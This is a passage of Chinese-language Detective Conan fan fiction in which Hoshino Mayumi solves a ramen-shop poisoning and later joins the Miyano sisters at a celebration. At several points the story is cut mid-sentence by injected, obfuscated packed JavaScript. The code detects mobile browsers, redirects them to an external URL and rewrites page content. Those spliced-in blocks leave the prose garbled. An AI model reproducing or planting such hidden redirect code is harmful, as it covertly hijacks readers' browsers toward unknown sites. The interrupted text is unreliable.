高木摇摇头,“科搜研准备继续检测他的其他随身物品。” “奇怪,那他是怎么把毒药吃下去的……” 他们的交谈一声不落地落到了一旁的星野真弓和江户川柯南耳朵里。两人对视一眼,都看到对方眼中的笃定,江户川柯南站起身,向不远处跑去。 “目暮警官,”星野真弓突然出声,“我知道他是如何吃下毒药的了。” “嗯?哦哦,星野小姐!”目暮警官转过头,露出看救星的表情,“太好了,毛利老弟喝醉了,我还在担心这案子该怎么破呢。请问你有什么想法?” 懒得吐槽搜查一课对“沉睡的小五郎”的盲目崇拜,星野真弓指了指倒在座位上的死者上川多贵。 “死者应该是个哮喘患者,随身物品里带了哮喘患者使用的控制性药物,但唯独少了一样必需品——哮喘喷雾。毒药应该就涂在死者使用的哮喘喷雾上,而那只喷雾已经被凶手偷偷拿走了。” 目暮警官一愣:“但是其他几人的随身物品里......啊!上杉小姐的随身物品里也有一个喷雾,不过那上面好像也没检测出毒药......”他想着想着又把自己绕进去了。 不远处突然传来男孩天真的声音。 “大姐姐,这个是你的哮喘喷雾吗?为什么上面没有口红印呢?”江户川柯南隔着一片手帕举起刚刚在警察们收缴的物证中找到的一枚哮喘喷雾,他明亮的眼睛盯着死者同事四人中的一名女性。 上杉小姐正背对警方和同事说话,闻言身体一颤,双手抓紧了手包肩带。 “上杉小姐,我想事情是这样的吧。”星野真弓走向那名女性,“你和死者都患有哮喘。因为某种原因,上川先生决定谋杀你,他偷偷在你的哮喘喷雾上涂了氰/化/物,却没想到被你发现了。” 被她靠近的女性僵住了。拉面馆的白炽光灯有些晃眼,她不知为何产生一种烈日灼心的感觉,整个人在暴晒下融化。造成这一切的罪魁祸首正在她身后半米内,用居高临下的眼神注视着她。 在那种压迫感下,她一时忘了阻止对方伸向她衣服口袋的手。 星野真弓的右手环过她的腰部,慢条斯理地拉开外面那件冲锋衣的一角,从里面的内袋掏出一枚小小的哮喘喷雾,和刚刚江户川柯南找到的喷雾长得一模一样。她比上杉高了接近十厘米,像猎犬衔住猎物的后劲一样让后者动弹不得。 “你穿的这件冲锋衣有品牌特意设计的内置口袋,连警察都没发现你在里面藏了另一个喷雾,我想这才是原本属于你的哮喘喷雾吧。” “死者在你的喷雾上下了毒,你却将计就计将有毒的喷雾和他的喷雾交换,等到死者在拉面馆毒发身亡时,你再趁着混乱把喷雾拿回来,偷偷藏在衣服里。” “今天聚餐的五人里,只有你和死者患有哮喘病。其他三个人,两位先生浑身散发着尼古丁味,那位女士看晒痕应该是冰雪运动爱好者,而哮喘病人最忌讳长期吸烟或呼吸冷空气。” 星野真弓将搜出来的那个喷雾抛到高木警官手里,后者手忙脚乱地接下,“你清楚被下了毒的喷雾可以瞬间要你的命,情急之下你想出了那个办法,交换你们两人的喷雾。” “你以为在他死后餐厅一片混乱的时候可以偷偷把有毒的喷雾扔掉,但却没想到今晚就餐的客人里就有警察,我一直盯着你们,你没法做更多小动作,只能把喷雾留在衣服里。虽然命确实保住了,但你因此背上了杀人的罪名,这值得吗?你原本可以直接报警,让上川多贵人赃并获。” 被她三两句戳穿真相的上杉小姐颤抖起来,良久,她掩面跌坐在地上。她其实长了一张不错的脸蛋,柔弱得像白天鹅一样的后颈垂落下来,长发散乱着,透出一股易碎的美感。 日本人认为女性身穿和服时露出的那一块雪白的后脖颈是最性感的地带,这并不是空穴来风。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小兰,你一个人不方便吧,我送你们回去?”星野真弓没在意柯南的神情,而是帮小兰扶住宫本由美。 毛利少女显然不是个喜欢麻烦人的性格,可惜毛利小五郎和宫本由美两个醉鬼同时倒下,她就算是关东地区空手道大会的冠军也实在照顾不过来。乍一听星野真弓的提议,她实实在在地松了口气。 “可以吗?真的太麻烦星野小姐了!”少女低头大鞠躬。 “敬语又冒出来啦,小兰。已经当了三年邻居,你没必要对我这么客气。”星野真弓笑了笑。 “你一个人扶得动毛利先生吗?柯南君,去帮帮你小兰姐姐吧。” 小侦探甜甜地应了一声,帮着青梅竹马一起把毛利小五郎扶出了拉面馆,又废了九牛二虎之力才成功把他塞进一辆出租车里。 刚安顿好父亲,毛利兰直起身看向星野真弓,“那由美桑......” “没事,我已经打电话通知她的紧急联系人了,对方说会来接人,大概五分钟就到了。” “那我们也等由美桑的朋友到了之后再走吧,柯南。”毛利兰低头看向小侦探,随后又跟出租车司机吩咐了几句,一副熟练的长姐架势。 江户川柯南乖乖地应声,又不由得好奇起来:“对了,星野姐姐,你是开车来的吗?” 他不知道星野真弓住在哪里,不过这里离毛利侦探事务所那条街也算有点距离,如果她住得更远又没有代步工具,小侦探多少有点担心她在夜色笼罩下的东京都独自回家的安全问题。 星野真弓一怔,然后露出一个有点尴尬的笑:“是啊,但是我开来的车只有两座,加上刚刚喝了酒,得叫代价,所以没法送你们一起回去,只能麻烦小兰叫出租车了。” “两、两座?那不是跑车吗!”毛利兰惊呼。 星野真弓打开手机的手电筒,白色的灯光瞬间照向了路边的Aventador,流畅锋利的车型中显出了身型,方才这辆拉风的跑车一直隐在夜色中,忙于照顾毛利小五郎的毛利兰和江户川柯南竟然没有注意到。 “好帅!”毛利兰倒吸一口气。 少女眼神认真而清澈,似乎觉得还不够,又大声重复了一遍,“真弓桑,你的车,好帅!!” 11. 第十一章 最终,趁着等待宫本由美的朋友来接人的这段时间,毛利少女和柯南小朋友前前后后把星野真弓的Aventador参观了个遍。 与此同时,毛利小五郎和宫本由美正一左一右靠在跟着一起等的出租车后座。 司机跑了一天车,干脆也乐得清闲,和后面两个醉鬼一起打了个盹。 没过多久,宫本由美的紧急联系人终于来了。 出乎意料的,来的是位看上去很年轻的青年,有些不修边幅,胡子拉碴的。他一到就边喊着“由美糖”边跑去查看宫本由美了,看起来是她的男朋友。 星野真弓若有所思地多看了他两眼,总觉得他有点眼熟。 等宫本由美的男朋友把她接走,今晚的拉面馆聚餐终于宣告正式结束。柯南小朋友也坐上了出租车,趴在窗户边目送星野真弓的车消失在夜色中。 他身边的毛利兰还在对那辆车跑车念念不忘。 “真的太帅了!没想到星野小姐、啊,真弓桑居然会开那么酷的跑车。” 她似乎回想起了什么,又忍不住笑起来:“不过仔细想想,真弓桑对待机车就很认真,会买超跑也是理所当然的。” 江户川柯南呵呵一笑,没敢说如果她对机车有那么认真的话就不会每周只上一天班了,这家伙完全就是仗着自己有钱在为所欲为罢了! 他一边应着毛利兰的话,一边又回想起刚刚拉面馆发生的案件。 老实说,星野真弓最后说的那番话让他有些惊讶。破了那么多案子,名侦探早就习惯犯人认罪后一哭二闹三忏悔的场面,目暮警官也总是由着犯人把自己的故事说完,他还是第一次碰上有人破完案毫不留情地打断犯人的哭诉。 不过,他并不觉得难受。死亡和与之相伴的痛苦总归算不上让人心情明朗的东西,他也曾经有过因为自己的推理而将犯人逼到自杀的经历。从那之后,死亡在他眼里再也不是能用轻飘飘的态度面对的事。 不知道为什么,他总觉得星野真弓是出于类似的原因打断了犯人的话。 他看得出来犯人上杉小姐是一时冲动犯下了谋杀,在法治社会活了那么多年,突然成为杀人犯锒铛入狱让她的精神状态岌岌可危。她身体估计不太好,又患有严重的哮喘,经历这一遭之后不一定能顶得住。她最后试图阐述谋杀动机时,简直就像在留下遗言。 星野真弓虽然打断了她的话,但却提醒她“负起自己的责任”,多少也算给她提供了一些活下去的动力。 这么看来,星野真弓说不定意外的是个蛮温柔的人啊。 ——不过,她安慰人的手段着实不怎么样,万一上杉小姐想岔了当场一头撞死跑去找男朋友怎么办? 小侦探靠在车窗边胡乱发了一会儿呆,半晌又想到什么似地掏出手机,打开网页,输入“全国高中生弓道大赛”几个字。 半晌,他从一张十二年前的女子组冠军名单中找到了那个名字。 【2011年全国高中弓道大赛获奖名单 女子组团体第一名: 北宇治高等学校 女子组个人冠军: 北宇治高等学校,星野真弓】 继续往下翻,他愣了一下。 【2012年全国高中弓道大赛获奖名单 女子组团体第一名: 北宇治高等学校 女子组个人冠军: 冰帝学园高中部,星野真弓】 ......转学?还是别的什么原因? 2013年的冠军名单就没有她的名字了,应该是因为高三备考大学所以没有继续参加吧。 不过至少确认了一件事,星野真弓应该的确不是那个组织的人。没有犯罪组织的人会用真名在警察面前乱晃还去参加高中生弓道大赛吧? 今天她一身黑衣走进拉面馆的时候还真把江户川柯南吓了一跳,脑海里瞬间闪过灰原哀曾经提出的质疑。他们聊天时提到威士忌的时候更是差点把他的小心脏都给吓停了。 幸好幸好,虽然星野真弓老是当甩手掌柜压榨无辜店员、每天开着好几百万的豪车在东京都乱晃,怎么看怎么不像正经人...... 但她确实、应该、大概还算是个遵纪守法的良民! . 星野真弓到家后先去阳台上给她养的植物浇了水。 她慢悠悠地抽了一根烟,蹲着研究了一会儿那盆秋海棠,又拿着剪刀剪了几片叶子,才起身走回屋内。 一个黑影从暗处窜了出来。 一身灰毛的俄罗斯蓝猫瞪着一双幽蓝色的眼睛,它似乎不像别的同族一样喜欢把眼睛睁得澄圆,相反总是半眯着眼露出危险的表情,仿佛一只黑暗中的守卫。 星野真弓揉了揉它的脑袋,给它添上猫粮。 灰猫却没立刻凑到猫饭盆旁边。星野真弓回卧室换了睡衣,又走回厨房里给自己倒了杯热水,她走到哪猫就跟到哪,一双蓝色竖瞳死死盯着她的背影。 五分钟后,星野真弓对着电脑打字的手终于停下来,被一只猫盯着工作实在太奇怪了,她忍不住叹了口气。 “好吧好吧,我知道了,我吃药行了吧。”她蹲下来狠命揉了揉灰猫的脑袋,“真是的,跟你的主人一个德行。” 说是吃药,她其实没有什么严重的疾病,唯一数得上号的几个都是职业病,干他们这行的几乎人人都有。 认真严谨地把药一粒一粒吃完,还顺带补充了点维生素,星野真弓又伸手呼噜呼噜俄罗斯蓝猫的毛,目送它“喵”了一声盘起身子阖上眼,这才重新开始在电脑上打字。 第二天早上,她如往常早起晨跑。 临到九月底,东京的天气越发冷了。街边穿着大衣的人渐渐多了起来,不过她不怎么怕冷,剧烈运动的时候也不会觉得冷。 回到家洗了个澡,星野真弓打开手机查看最新的邮件。半晌,她指尖一顿。 【To:Hilda Gin最近似乎对日本新出现的某个药品很感兴趣。那是组织流通出去的东西。 P.S. 明日入境,一切正常。】 “......” 星野真弓面不改色地把邮件删除,清理掉痕迹,披上风衣出门。 她今天要去见宫野姐妹。 . 这天是个周末。灰原哀婉拒阿笠博士开车相送的好意,独自出了门。 假死计划成功后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459038|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫野明美改头换面化名宫崎奈美成为了扎克利·宫崎名义上的姐姐和监护人,他们俩对外伪装成姐弟,一起住在公安把控的公寓里。 她妹妹宫野志保则缩小后化名灰原哀,住在阿笠博士家躲避组织的追查。 在组织眼里,宫野明美在抢劫十亿日元后的逃跑过程中被日本警方当场击毙,宫野志保得知背后原因后,因为反抗组织遭到了监禁,然后不知道用什么方法逃了出去。 而这一切其实都是他们事先商量好的计划。 大街上偶然路过的陌生人可能就是出动搜寻雪莉的组织成员,但谁也不会想到她竟然变成了一个一年级小学生,每天跟其他小朋友一起正常上下学。 灰原哀搭乘地铁坐了几站后,躲进东京环状线的卫生间换了身衣服,又戴上鸭舌帽才返回地面。这是她逃出组织后公安教给她的简单的反追踪技巧。 在她装作发烧倒在阿笠博士家门口碰瓷以前,[零]组的几个女警简直把她当成了易碎的玻璃球,捧在手里怕碎了、含在口里怕化了,收到星野真弓要求她们训练宫野志保和宫野明美的命令后,简直把毕生所学拿了出来倾囊相授。 老实说,灰原哀并不讨厌这种感觉。 在此之前她对警方从来没有一丝一毫的信任,在姐姐提出这个计划时也持反对意见。 她不知道姐姐是通过什么手段联系上的公安,即使在姐姐假死成功以后,她也依然对公安半信半疑。 不过,人到底是有感情的动物。任谁被别人温柔和善地对待了那么久,也不会再生出多大的恶感了。 虽然她能够接触的公安警察不多,来来回回就那么几个人,但大家都对她非常好,似乎真的把她当成了一个七岁的小妹妹。 宫野志保还从来没有被除了姐姐以外的人这么善待过,连带着她看那个叫做星野真弓的可疑女人时都少了几分敌意。 不知道为什么,她总觉得星野真弓是个非常危险的人物。即使在一群公安的簇拥下,她依然散发着像是暗夜里的恶犬一样的气息。 在那几个公安里,她的地位明显不一般,但灰原哀并不知道她的具体身份。 事实上,在那天和江户川柯南聊起她之前,灰原哀从来没想过那个女人会有一份表面工作,甚至还认识工藤新一。 她没有告诉过江户川柯南自己的姐姐实际上没死,同样也没告诉过星野真弓APTX4869还有别的人体缩小案例。这是出于一种在黑暗里生存久了之后的直觉,多给自己留点底牌总是没错的。 因此,在得知星野真弓和工藤新一认识之后,她立刻没由来地紧张起来。 这几天里她已经设想过了二者互相发现身份的一万种可能,每一种她都想不出完美的应对方法。如果公安发现自己的隐瞒,会对她和姐姐失去信任吗?会把她们监/禁起来吗? 今天是她时隔三个月第一次去见姐姐和星野真弓,她也不知道后者会说些什么。 一路走来,灰原哀能感觉到自己手心正紧张得微微出汗。她知道不远处有公安派来保护她的人跟着,所以忍着没表现出这股不安来。 虽然曾经是犯罪组织的成员,但少女到底对欺瞒他人有着本能的负罪感。 12. 第十二章 “......” 所以事情为什么会变成这样? 灰原哀面无表情地眨了眨眼。 她正坐在宫崎家的餐桌旁,茶色的短发上粘着好几粒五彩的亮片,有一根彩带还勾在了发尾。 这还不是最过分的,除了头发,她脸上还被迫涂上了好几抹奶油。白色的奶油黏在女孩白皙的肌肤上,被她抬手狠狠抹去。 在她对面,16岁的少年黑客扎克利·宫崎正在和星野真弓斗嘴,这已经不是他们今天第一次斗嘴了,场面一如既往地混乱。 “我实在受不了那个物理学教授了,我明天就要罢课!罢课!”少年黑客大声嚷嚷着,他嘴里还塞着一块蛋糕。 三两口咽下去之后,他一举叉子,做出英勇就义的姿势。 “哈佛的Dr.White都没这个强迫症可怕,上帝啊,玛丽亚啊,三体人啊,飞天意面大神啊,Doyouhearthepeoplesing(你是否听到人民在歌唱)——” 星野真弓一把夺走他手里的叉子:“你的教授今天早上给我打了整整十分钟电话,控诉你擅自黑进他的工作电脑植入病毒,害得他不得不登进校园系统把你迟到的课全部改成准时出席才保住电脑里的所有研究资料——” “你知道内阁每年付我多少钱工资吗?我的每一分钟都很宝贵,不是用来帮你擦屁股解决这些乱七八糟的麻烦事的!” 少年黑客眨巴眨巴眼,注意力歪到了奇怪的地方:“多少钱?你是警视,年薪应该在1000万日元左右吧,但既然是警察厅的应该会更高一点才对......不对!绝对不止这么点吧!别以为我不知道一台兰博基尼要多少钱!” 星野真弓咬牙敲了一下他的脑壳:“真是对不起啊,虽然我本来就不缺钱,但警察的工资每一分钱可都是我亲自赚回来的——说到这个,你这家伙,以后不许再偷偷黑进财务部系统把你的工资往上调!发现一次扣一千!” 扎克利的眼睛一秒瞪大。 “不要啊,那点钱真的不够我的主机和显卡,星野姐姐,真弓姐姐,学姐大人,我还是不是你麾下最得力的干将了?求求你了涨涨工资吧——” 星野真弓一撩眼皮:“我麾下最得力的干将可轮不到你,阵平就比你强多了,对吧阵平?” 一旁的松田阵平发出一声轻笑。 他正叼着一根没点燃的烟,声音有些含糊:“早跟你说了,如果你现在参加国家一级公务员考试,明年这个时候你就可以晋升为警部了。警部的规定工资是850万左右,比你现在的工资要多整整一倍。” 扎克利发出不甘的声音:“可恶!唯独这一点、唯独公务员考试不行!你们这帮雇佣童工的可恶家伙——” 吵吵闹闹的声音还在继续。 灰原哀收回视线,低头看了眼自己的盘子,她的那块蛋糕动了没几口,因为她不怎么习惯吃甜食。 坐在她身边的宫野明美似乎察觉到了她的异常,温柔地揉揉她的脑袋:“怎么了?蛋糕不合口味吗?” 灰原哀摇了摇头,舀起一口蛋糕送进嘴里。 所以。 事情是怎么变成这样的? . 时间回到一小时前。 灰原哀站在宫崎家门口。公安给她姐姐批的这套房子在某座公寓的18楼,整栋楼都是公安的地盘。她平复了一下紧张的心情,又升起许多对即将见到姐姐的期待,才抬手按了门铃。 里面隐约传来脚步声。半晌,门锁咔嗒一声。灰原哀刚拉开门,就被噼里啪啦炸了一脸。 “欢迎回来!”扎克利·宫崎和宫野明美异口同声。 灰原哀眨眨眼,有点蒙。 她现在的样子有点滑稽,扎克利和明美握在手里的礼花筒炸了她一身的彩带和小亮片。 不止他们两个,他们身后看上去懒洋洋没有出声的星野真弓和松田阵平刚刚也一人一筒拉动了彩带,整个玄关都落了一地五颜六色的纸片。 “......你们这是在干什么?” “在欢迎你啊,志、小哀!”扎克利非常自来熟,他窜到灰原哀身后推着她往里走,“今天可是你脱离那个鬼地方三个月的纪念日,必须好好庆祝!” 宫野明美笑着关上门,“刚刚是扎克利特意为你准备的惊喜,礼花也都是他买来的。” 灰原哀被推到餐桌前坐下,这才发现面前已经摆了一桌子菜,其中有几道明显是她爱吃的。 “姐姐,这是你做的吗?”她疑惑地抬起头。 “我和松田君一起做的,松田君真的帮大忙了,不然我一个人也忙活不完这么多菜。”宫野明美笑着坐下,“星野桑还带了酒,志保你已经成年了,喝点酒也没事的。” 灰原哀顺着她的话看向坐在对面的星野真弓,后者嘴里叼着一根没点燃的烟,正低头看手机。 听到明美的话,她抬头摘下嘴边的烟,露出一个淡淡的笑容:“怕你喝不了度数太高的,带了点香槟,不用客气。” 一旁的混血少年探出头来,“愣着干啥?快吃吧快吃吧,冷了就不好吃了!” 说着他伸出手向桌上那瓶香槟探去,中途被星野真弓一筷子打断,警告他未成年不许喝酒。 “......”灰原哀愣愣地看着他闹腾的身影。 半晌,她低下头,“其实不用这么麻烦的。” 混血少年立刻不乐意了:“说什么呢!无论做成了什么事,第三个月都是重要的纪念日,三个月就是一个季度,四个季度就是一整年,一百年就是一辈子——” “你脱离组织获得自由的作战已经取得阶段性胜利了!下一步就是捣毁组织,然后取得永久性happyending!” 他凑近了摆出一副认真的神情,灰原哀这才发现他棕色的瞳孔中间其实有一圈是黑色,少女愣愣地回想起来他好像也是英日混血,和她一样。 不远处传来了松田阵平的调笑声:“扎克利,你是准备单枪匹马干碎组织吗,哈佛辍学的初中文凭也能做得到吗?” 紧接着少年黑客的声音又嚷嚷了起来,好像在大声反驳他的话。星野真弓的声音也夹杂在里面,大概在说些什么关于东京大学的事。 灰原哀默默啃了一口秋刀鱼,过了一会儿才出声:“扎克利。” 这是她第一次叫扎克利·宫崎的名字,在那之前她一直都礼貌地称呼他为“宫崎君”。 “怎么了?”少年黑客转过头,好像没注意到那个称呼的转换。 对上他像大狗狗一样的眼神,灰原哀话到嘴边一时有些说不出口了。 半晌,她才轻声说:“......谢谢你。” 她又抬起头看了一眼姐姐,然后匆匆扫过星野真弓和松田阵平的眼睛,一触即离。 “谢谢。”她低声道。 星野真弓轻笑一声,伸长手使劲揉了揉她茶色的头发,又帮她拍掉了一点挂在头发上的彩带和亮片。灰原哀被揉得闭了一下眼。 “谢什么呢?”她收回手,撑着头,“保护好公民是警察的职责,履行职责是警察的义务,我第一天在警校报道时说的誓言可不是开玩笑的,对吧,当警察是为了揍警视总监一拳的家伙?” 坐在她旁边的松田阵平一哂:“不对吧,我怎么记得你当警察是为了给你爹一拳?” 扎克利倒吸一口冷气:“你们两个当警察的理由都这么彪悍的吗?好可怕的日本警察!” 松田阵平大笑:“这算什么,还有人当警察是为了找到小时候见过一面的美女医生呢!” 星野真弓没搭理他们俩,对灰原哀继续说道:“老实说,反倒是我应该对你和你姐姐道歉才对。” 宫野姐妹一愣。 “你们的父母我无能为力,但是放任那个组织控制你们姐妹的生活这么多年,是我的失职,我向你们道歉。”她露出严肃的表情,“你们不得不改头换面躲藏起来,也是我们做得不够好,为了尽量给你们一点补偿,我保证一定会尽全力捣毁那个组织。” 扎克利和松田还在说些什么。灰原哀一错不错地坐在原地,抿着唇沉默地看向她的眼睛。 那是一双好像可以看破一切的蓝色眼睛,她不禁陷入一种茫然的疑惑,真的吗?你们真的可以做到吗? 我们什么都没有,根本给不了你任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459039|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何回报,你为什么要帮我们?这是一条不可以探寻的死亡之路,你们会失去生命,乃至失去一切! 忽然,耳边传来姐姐的声音。 “不是的,不是你们的错,星野桑!”宫野明美认真说,她皱着眉紧按住妹妹的手。 “错的只有那个组织。在我求助的时候二话不说伸出援手的你们才没有错呢,是我和志保应该感谢你们才对!” 灰原哀微愕地看着姐姐。 在她的记忆中,姐姐从来没有这么大胆地评价过那个组织。她们两人从小就是被圈养的羔羊,完全没有反抗的能力与勇气。大部分时间里他们姐妹的会面都被严密监控着,她们从不敢说诋毁组织的话。 她又看向对面的星野真弓,后者闻言露出一抹无奈的笑:“谢谢你,明美。” 松田阵平似乎对煽情场面浑身不自在,他揉了揉那头卷毛,露出一个不耐烦的表情,“好了,你们赶紧吃吧,别再谢来谢去了。早知道就该叫Hagi来的,这种场合他最擅长了。” 星野真弓似乎想到了什么好玩的事情,扑哧一笑。 “研二还得帮我看店实在走不开,只能委屈你了小阵平——” 被她的称呼恶心得一阵恶寒,松田阵平嘶了一声,当即反唇相讥:“你是不是故意的,Ma、yu、酱?” 星野真弓笑出声来。紧接着,扎克利放下筷子跳了起来,大声宣布:“都别吵了,我去把蛋糕拿出来!” “!!” 灰原哀眼睁睁看着他从冰箱里抬出一个巨大的水果蛋糕,餐桌一下子被挤得满满当当。 宫野明美站起来收拾碗筷,松田阵平陪着她回到厨房,星野真弓则拆开盒子把里面乘放着蛋糕的托盘小心翼翼地拖了出来。 她将塑料刀递给灰原哀:“来切蛋糕吧,志保。” 灰原哀接过刀。她有些迟疑地在蛋糕上比划了一下,突然发现这好像是自己第一次正儿八经地切蛋糕。 从前在组织里,她的生日总是一半在实验室里度过,一半和姐姐在组织的监控下度过,从来没体会过一般人的生日派对,吃过的蛋糕也都是组织的人买来检查过的一块一块的分装蛋糕。 她其实一点都不喜欢自己的生日。 爸爸妈妈是为了赚取足够抚养两个孩子的生活费才加入组织的,原本只有姐姐的日子他们可以过得很好。组织发现她的科研天赋后,作为成年人的父母立刻就被放弃了。 她的存在带来的只有坏事,她的降生是一个彻头彻尾的灾难。 今天是她第一次体验派对,一次被礼炮撒了满头乱七八糟的彩带,甚至成年后第一次喝了酒,虽然只是度数很低的香槟。 还有很多第一次......第一次被当成小孩、第一次接受警察的帮助、第一次认识好像从动画片里走出来一样的胖胖的老顽童博士、第一次有了一个弟弟—— 她看向扎克利·宫崎,16岁的少年正眨巴着那双棕色的大眼睛眼巴巴地盯着蛋糕。 虽然这个弟弟异父异母,甚至跟她一点法律关系都没有。 笼罩在她头顶十八年的阴云似乎真的散去了,三个月的时间像梦一样,即使是那个走到哪被案件跟到哪的死神名侦探,有时也能让她露出真心的笑容。 她发现自己竟然紧张了起来,握着塑料刀的手在微微颤抖。 上一回这样紧张是在来这里的路上,她不知道要如何面对星野真弓。上上一次是她被琴酒关进禁闭室,颤抖着吞下那颗红白相间的药丸,赌上自己的生命和未来。 宫野明美似乎看出了她的紧张,她伸出手裹住了灰原哀属于小女孩的小手,对她露出一个温柔的笑。 “切下去吧,切歪了也没关系,因为这是你的蛋糕,志保。” 因为这是你的蛋糕,因为这是我们的蛋糕,因为这是属于未来的蛋糕。 这块蛋糕怎么切都可以,歪掉的、就算切成了奇怪的形状也可以,把奶油和蛋糕胚分开来吃也可以,把水果全部摘下来一个人吃完也可以,只要你喜欢,只要你幸福,只要你自由。 虽然今天不是你的生日,但是节日快乐,我最亲爱的妹妹。 13. 第十三章 大概是因为第一次切蛋糕,她最后切出来的成果意料之内的看起来不怎么样。 有几块蛋糕的奶油歪歪斜斜的,还有几块上面的水果已经跟糕体完全分离,被扎克利挨个拿着牙签拎回各个盘子上。 不过,这都不算什么了。因为五分钟后,最乱七八糟的人变成了她自己。 扎克利·宫崎大概要么从小在外国长大,要么被美式校园文化熏陶得太深,拿到自己那块蛋糕的第一反应不是抄起叉子大快朵颐,而是抓了一手奶油就向灰原哀伸出魔爪。 灰原哀脑袋上本来就还残留着没清理干净的亮片和彩带,被奶油一抹,整个人顿时变成了一只五颜六色的花猫,长了白胡须的那种。 混血少年顿时爆发出一阵惊天大笑,还嚷嚷着“虽然你比我大但是没办法你现在是小孩所以你逃不掉的”,气得灰原哀抄起叉子就往他头上扔。 一块蛋糕最终引发了一场斗殴,扎克利·宫崎单方面挨打,灰原哀单方面追杀,等到两个人被宫野明美一边一个拎着衣领大声要求着把桌子收拾干净时,灰原哀才愣愣地反应过来自己刚刚都在干些什么傻事。 她的视线向右看去,星野真弓和松田阵平早在他们俩闹起来的时候就躲到阳台上去了,两人正隔着阳台玻璃门抽烟,一边有些好笑地看着他们一边不知道在说些什么。 ......恶劣的大人。迟早抽出肺癌! 对上灰原哀的视线,星野真弓眨了眨眼,露出一个微笑。 没等她的嘴角提到对应位置,女孩已经恶狠狠地把视线移开了。 她呆了半晌,有些委屈地转头问松田阵平:“你说她是不是有点怕我?” “全东京都的小学生都怕你。”松田阵平懒洋洋地吐出一口烟。 他又戴上了那副标配墨镜,乌黑的眼睫半阖着隐藏在镜片后。 星野真弓一抽嘴角:“毒舌的家伙。” “没你毒舌,安慰人只会讲烂话的家伙。”松田阵平反唇相讥。 两人又不咸不淡地拌了几句嘴,终于讲起正事。 “你今天其实主要是来见我的吧。”松田阵平将烟蒂碾灭在阳台上的烟灰缸里。 他们倚靠着的地方确实是阳台,但对着外面的百叶窗是合上的,根本看不见外面的天空。 自从宫崎家搬进来之后,这种能够看到里面住户的窗始终没有被打开过,即使早就排查过附近没有合适的狙击点,星野真弓也谨慎地不允许出现一丁点泄漏住户信息的可能。 她没有正面反驳松田阵平的话,嘟囔了一句“志保的心理健康测评也很重要”,抬手把写在手机备忘录里的东西给他看。 松田阵平扫了一眼,皱眉:“他让你不要告诉别人,你转头就告诉我?” 星野真弓把备忘录里她默写下来的那封邮件内容删掉,一撩眼皮:“你又不是别人,如果你都不值得信任了,那我还是跟他手拉手跳河比较痛快。” 她忽然严肃起来:“我需要你去帮我办件事,这件事我只信任你。” . 被宫野明美压着打扫完了桌面,灰原哀洗了把脸,又仔细整理了一下头发,才终于得空端着咖啡杯和姐姐窝在客厅沙发聊起天。 姐妹俩没有特意避开扎克利·宫崎,后者现在和宫野明美有法律意义上的姐弟关系,经过三个月的相处,明美也早就把他当成另一个天才弟弟看待,只不过这个弟弟着实有些调皮。 网瘾少年正沉迷于摆弄他的电脑,估计啥也没听进去。 灰原哀有些怀疑他正无视星野真弓的话继续兴致勃勃地给他的物理学教授制造电脑病毒,不过少年黑客大闹东京大学着实不关她的事,她好整以暇地收回视线假装不知道。 这时候阳台门被拉开了。扎克利像受惊的兔子一样跳起来猛地关上电脑,动静闹得从阳台走出来的星野真弓狐疑地看了一眼客厅。 她似乎懒得纠结,一如既往地干脆利落,抛下一句“我先走了”就告辞离开公寓。 倒是从她后面走出来的松田阵平叼着一根没点燃的烟,默默走进厨房里帮忙洗碗。宫野明美吓得立刻跳起来,紧跟着也冲进厨房里尽待客之仪。 灰原哀坐在原地看着姐姐和那个戴墨镜的警官忙碌的背影,突然觉得这样的生活也没什么不好的。 不过......那个松田警官居然是会自己做饭洗碗的居家类型,饭做得还挺好吃的。 那条秋刀鱼没有熟悉的味道,应该不是她姐姐的手笔,那么就肯定是他做的了。 这人明明长着一张混□□也不突兀的恶人脸,说话做事也超级嚣张,谁能想到竟然会系着围裙抄着筷子待在厨房里认真烤一条秋刀鱼。 反倒是星野真弓,明美刚刚跟她聊天的时候已经偷偷透露过了,在灰原哀上门之前、三个大人提前开始准备午饭的时候,星野真弓几乎是一踏进厨房门就被松田阵平踹了出来。 据他所言星野真弓的厨艺烂到曾经一顿饭毒倒一整届警校学生——据说她现在居住的那套公寓里,厨房干净得连只锅都没有,纯属装修的时候找到个适合当厨房的角落不装白不装,放在那儿摆着看的。 明美当时问他那星野桑每天都怎么吃饭,松田阵平则露出一个略带嫌弃的眼神。 “以前还算有人照顾......现在,凑活过吧。她不缺钱,饿了出去找个餐厅解决就行了。” 说者无意听者有心,明美纯当分享日常讲给自己妹妹,反倒是灰原哀看着厨房里忙碌的两人露出思索的表情。 她回想起那天和某位名侦探在阿笠博士家的对话。 【“对了,那位星野小姐有恋人吗?” “......诶?为什么是恋人?为什么不是问男朋友?不会吧,我老早就猜测过她是不是其实喜欢女生——” “哈?” “哈哈哈,开个玩笑而已。所以,为什么这么问?” “不为什么,你就当作女人的直觉吧。” “......说实话,我也不知道。” “?” “她好像从来没提过恋人,我也没见过她周围出现类似的人。我曾经以为萩原哥是她男朋友,不过他好像本来就是擅长社交和拉近关系的性格。他们俩应该只是朋友或者工作关系。” “除了他以外呢?” 